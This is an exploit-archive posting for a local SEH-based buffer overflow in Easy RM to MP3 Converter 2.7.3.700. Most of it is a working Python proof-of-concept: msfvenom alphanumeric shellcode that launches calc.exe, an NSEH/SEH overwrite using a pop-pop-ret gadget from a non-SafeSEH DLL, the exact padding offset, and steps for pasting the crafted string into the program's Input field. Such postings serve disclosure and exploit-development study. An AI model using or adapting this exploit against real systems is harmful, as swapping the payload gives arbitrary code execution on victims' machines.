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Easy RM To MP3 Converter 2.7.3.700 Local Buffer Overflow

Easy RM To MP3 Converter 2.7.3.700 Local Buffer Overflow
Posted Mar 27, 2020
Authored by Felipe Winsnes

Easy RM to MP3 Converter version 2.7.3.700 suffers from an Input local buffer overflow vulnerability.

tags | exploit, overflow, local
MD5 | 1687557b4ce900cd9ecd4c7b9935966c

Easy RM To MP3 Converter 2.7.3.700 Local Buffer Overflow

Change Mirror Download
# Exploit Title: Easy RM to MP3 Converter 2.7.3.700 - 'Input' Local Buffer Overflow (SEH)
# Date: 2020-03-26
# Author: Felipe Winsnes
# Software Link: https://www.exploit-db.com/apps/707414955696c57b71c7f160c720bed5-EasyRMtoMP3Converter.exe
# Version: 2.7.3.700
# Tested on: Windows 7 (x86)

# Proof of Concept:
# 1.- Run the python script, it will create a new file "poc.txt"
# 2.- Copy the content of the new file 'poc.txt' to clipboard
# 3.- Open the Application
# 4.- If the 'Preferences' windows pops up, just click 'Cancel'
# 4.- Click 'Batch'
# 5.- Delete everything on the parameter 'Input:' and paste the clipboard there
# 6.- Select OK
# 7.- Some Windows message boxes will pop up, click OK.
# 8.- Profit

# Blog where the vulnerability is explained: https://whitecr0wz.github.io/posts/Easy-RM-to-MP3-Converter-2.7.3.700-Input/

import struct
import sys

# msfvenom -p windows/exec CMD=calc.exe -f py -e x86/alpha_mixed EXITFUNC=thread
# Payload size: 447 bytes

buf = b""
buf += b"\xdb\xc4\xd9\x74\x24\xf4\x58\x50\x59\x49\x49\x49\x49"
buf += b"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37"
buf += b"\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41"
buf += b"\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
buf += b"\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c\x6b\x58\x4d\x52"
buf += b"\x55\x50\x73\x30\x67\x70\x55\x30\x6c\x49\x4a\x45\x65"
buf += b"\x61\x69\x50\x62\x44\x6c\x4b\x76\x30\x46\x50\x4e\x6b"
buf += b"\x76\x32\x46\x6c\x6c\x4b\x52\x72\x65\x44\x6e\x6b\x72"
buf += b"\x52\x74\x68\x44\x4f\x4f\x47\x73\x7a\x64\x66\x65\x61"
buf += b"\x49\x6f\x4e\x4c\x47\x4c\x50\x61\x71\x6c\x34\x42\x66"
buf += b"\x4c\x71\x30\x6b\x71\x58\x4f\x44\x4d\x46\x61\x68\x47"
buf += b"\x4a\x42\x6c\x32\x51\x42\x63\x67\x4c\x4b\x76\x32\x72"
buf += b"\x30\x4e\x6b\x33\x7a\x35\x6c\x4c\x4b\x50\x4c\x32\x31"
buf += b"\x31\x68\x59\x73\x53\x78\x55\x51\x6b\x61\x70\x51\x4e"
buf += b"\x6b\x70\x59\x47\x50\x35\x51\x68\x53\x6e\x6b\x51\x59"
buf += b"\x37\x68\x6a\x43\x45\x6a\x62\x69\x6c\x4b\x54\x74\x6c"
buf += b"\x4b\x55\x51\x4a\x76\x76\x51\x39\x6f\x6c\x6c\x6b\x71"
buf += b"\x4a\x6f\x36\x6d\x77\x71\x6a\x67\x77\x48\x69\x70\x33"
buf += b"\x45\x7a\x56\x64\x43\x61\x6d\x68\x78\x45\x6b\x53\x4d"
buf += b"\x66\x44\x53\x45\x69\x74\x70\x58\x4e\x6b\x76\x38\x74"
buf += b"\x64\x77\x71\x38\x53\x52\x46\x6e\x6b\x34\x4c\x72\x6b"
buf += b"\x6e\x6b\x56\x38\x45\x4c\x57\x71\x38\x53\x6c\x4b\x75"
buf += b"\x54\x6e\x6b\x76\x61\x4a\x70\x4e\x69\x67\x34\x44\x64"
buf += b"\x31\x34\x51\x4b\x73\x6b\x43\x51\x30\x59\x51\x4a\x53"
buf += b"\x61\x59\x6f\x49\x70\x31\x4f\x33\x6f\x63\x6a\x6c\x4b"
buf += b"\x57\x62\x68\x6b\x6c\x4d\x73\x6d\x42\x4a\x33\x31\x4c"
buf += b"\x4d\x4f\x75\x4e\x52\x73\x30\x35\x50\x47\x70\x66\x30"
buf += b"\x51\x78\x35\x61\x4e\x6b\x42\x4f\x6f\x77\x59\x6f\x58"
buf += b"\x55\x4f\x4b\x4d\x30\x35\x4d\x75\x7a\x65\x5a\x63\x58"
buf += b"\x49\x36\x4f\x65\x6d\x6d\x6d\x4d\x79\x6f\x79\x45\x45"
buf += b"\x6c\x77\x76\x33\x4c\x57\x7a\x4f\x70\x6b\x4b\x69\x70"
buf += b"\x74\x35\x57\x75\x6d\x6b\x33\x77\x65\x43\x43\x42\x62"
buf += b"\x4f\x32\x4a\x37\x70\x53\x63\x79\x6f\x6a\x75\x33\x53"
buf += b"\x35\x31\x72\x4c\x61\x73\x54\x6e\x61\x75\x61\x68\x75"
buf += b"\x35\x57\x70\x41\x41"

nseh = struct.pack("<I", 0x06710870)
seh = struct.pack("<I", 0x10025A2E) # 0x10025a2e : pop ecx # pop esi # ret | ascii {PAGE_EXECUTE_READ} [MSRMfilter03.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll)

buffer = "A" * 9008 + nseh + seh + "\x41\x49" * 5 + buf + "\xff" * 200

try:
f = open ("poc.txt", "w")
f.write(buffer)
f.close()
print "[+] The file has been created successfully!"

except:
print "[!] There has been an error while creating the file."
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